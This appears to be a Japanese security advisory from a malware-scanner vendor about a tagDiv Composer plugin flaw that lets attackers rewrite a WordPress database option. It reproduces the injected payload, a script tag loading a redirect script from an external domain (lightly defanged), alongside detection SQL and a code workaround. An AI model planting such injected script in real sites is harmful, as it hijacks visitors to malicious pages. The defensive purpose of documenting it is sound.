WordPress Newspaper テーマ同梱のプラグインtagDiv Composerの脆弱性によりデータベースが書き換えられる事例が発見されましたでこちらにつきまして解説したいと思います。
マルウェアの特徴
このマルウェアは、データベースのwp_optionsテーブルにキーtd_live_css_local_storageに下記のような文字列を書き込みます。
※一部安全上「」で囲んでいます。
a:2:{i:0;s:0:\"\";s:3:\"css\";s:175:\".stepkokkmnkivhrwppnn{} .step4636435346{}</style><script>var a=1;var b=2;var c=4;</script><script src=\'https://four.startperfectsolutions「.」com/scripts/sold.js\'></script><style>\";}
この文字列がサイトのヘッダーに出力され、サイトが別のサイトにリダイレクト(強制移動)します。
startperfectsolutions「.」com/scripts/sold.js の部分は、リダイレクトハック等の不正な動作をサイト上で行うマルウェアの本体です。このスクリプトがサイト上で読み込まれて不正な動作を引き起こします。
マルウェアへの対処方法
このマルウェアはデータベースに書き込まれるタイプの非常に珍しいものです。
td_live_css_local_storage というキーは、tagDiv Composerプラグインによって作成されるキーですので、おそらくこのプラグインの脆弱性を利用したものと思われます。
【無料】ワードプレス:マルウェアスキャン&セキュリティープラグイン [マルウェア・ウィルス検出と駆除]
にて上記の事例の不正なデータベースへの書き込みは検出できますが、マルウェアのデータベースの改変は様々なパターンがあり、まだそのパターンが当社データベースに追加されていない場合、プラグインでは検出できない可能性もあります。
この場合データベースに直接SQL文を発行してマルウェア感染状況を調べる必要があります。
SQL文の例 select option_value from wp_options where option_name = 'td_live_css_local_storage';
tagDiv Composerのアップデートもしくは使用の停止
tagDiv Composerは複数の脆弱性が報告されていることから、アップデートできない場合は使用を停止することをご検討ください。
上記のデータベースへの不正な書き込みを行う脆弱性は、下記のように、プラグインの一部設定をデータベースに書き込む部分をコメントアウトしてしまえばとりあえずは防げますがプラグインの設定が保存できなくなることから機能が制限される可能性があります。
ファイル \wp-content\plugins\td-composer\css-live\includes\td_live_css_storage.php
※行頭に//を追加し、コメントアウトすると、このコード部分が動作しなくなりデータベースの書き換えを防ぐことができるようになります。
//update_option('td_live_css_local_storage', self::$local_storage);